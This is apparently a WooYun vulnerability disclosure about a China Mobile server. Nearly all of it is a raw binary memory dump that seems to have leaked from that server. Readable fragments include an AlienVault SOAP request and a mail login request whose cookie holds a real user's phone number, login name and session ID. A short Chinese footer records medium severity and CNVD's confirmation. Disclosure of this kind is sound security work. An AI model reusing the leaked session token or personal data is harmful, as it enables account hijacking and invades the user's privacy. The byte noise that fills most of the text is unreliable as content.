.*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB..........l&...6....................Y...........?...................Y.........FB..................O.C.............\[email protected][...r....+..H...9........w.3....f.....\".!.9.8.........5.............................3.2.....E.D...../...A.................................I...........4.2...................................................#.......^....5..k7............,O.....B......r..-h......L.[.(m..U.Yj...$.y......yF.H'c3.../.......d:.]2....y.K.FO..@.$.KV...e................e/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*....|'..60.....Gg......p.........!...............gStyle=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\". xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\". xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\". xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><soapenv:Body><m:get_alienvault_status xmlns:m=\"AV/CC/Util\"></m:get_alienvault_status></soapenv:Body>. </soapenv:Envelope>l.?.f.o.'C..2.2...........eItem%3A%270015%27%2Cregex%3A%27%5E8613%5B0-9%5D%7B9%7D%24%7C%5E8615%5B0-9%5D%7B9%7D%24%7C%5E86178%5B0-9%5D%7B8%7D%24%7C%5E8618%5B0-9%5D%7B9%7D%24%7C%5E8614%5B57%5D%5B0-9%5D%7B8%7D%24%7C%5E868%5B0-9%5D%7B10%7D%24%7C%5E8617%5B07%5D%5B0-9%5D%7B8%7D%24%27%2ClastLoginDate%3A%272014-12-12+12%3A57%3A57%27%2CuserNumber%3A%278613971230346%27%2Cloginname%3A%2713971230346%27%2C%22out_qanotify%22%3Afalse%7D; JSESSIONID=325DA965FA3C30FB596CCAF079150F06.... wy.<.....y..!..H;{[email protected].......`..T.d......tout_qanotify%22%3Afalse%7D..Host: login.mail.10086.cn..Connection: Keep-Alive..Accept-Language: zh-cn..........!.<.*...XB.cSo......&j>D|:#.\\w6s..q.R..',.Bq?x......8.Y......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y........K.v....................Y.............M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................M.........0.................................$..0................I......... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................]........./.......................Y.............8.Y...............Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................5........./.....................8.Y.............U...............[...............\"...............1...............Q...............b................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............2+........0......................+..........$..0................),........ .*..).................D^......~......................2+..............8+...............+...............,..............),..............:,...............D^..............W^.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............2+..............8+...............+...............,..............),..............:,...............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............[...............[...............[...............[..............I.Y.............2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................2+........0......................+..........$..0................),........ .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/......................[..........$..0................I.Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................y......./.....................8.Y.............................................R...............a................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................y...............y...............y...............y...............y...............y..............D^..............W^...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............y...............y...............y...............y...............y...............y..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8......................n..........$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y...............y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................y.......0.......................y.........$..0..................y....... .*..).................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB............................/.......................Y.............8.Y...............Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~......................Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............Z.y.............e.y.............2.y.............C.y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y........K.v....................Y.............Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................Z.y.....a{..N^..................2.y....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8..............~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.......................Y.............8.Y...............Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~......................r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.............r.z.............}.z.............J.z.............[.z.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB............................/.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.....................r.z.....a{..N^..................J.z....... .*..)................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.....................8.Y..............~...............~...............................................................................D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y.............k$~.............t$~.............B%~.............N%~.............i%~.............t%~..............%~..............%~.............I.Y.............r.Z...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.....Y.(.......................Y.......8.................................$..0................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y.............k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]..................k$~.......8.....................B%~......~......................i%~.....a{..N^...................%~....... .*..)................I.Y.......0.......................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.............l&...6..................\".[...............................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................Y...............[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB..................I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v..................I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y.............I.Y.............r.Z..............D^..............W^...............Y.............~.Z...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y...............Y.............8.Y.........FB....................Y.............I.Y.......0......................D^......~........................Y......&{.=.....................Y........K.v....................Y......`...]....................Y.....Y.(.......................Y.......8.................FB............C.......................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB....................[.............................U.\\.....C/......................l.Z......)........................Y.........FB....................Y......ET.......................Y.....l&...6....................Y...........?...................Y.........FB...................W~......./...................?....
修复方案：
补丁
版权声明：转载请注明来源 猪猪侠@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2015-01-14 13:30
厂商回复：
CNVD确认所述情况，已经转由CNCERT向中国移动通报。
最新状态：
暂无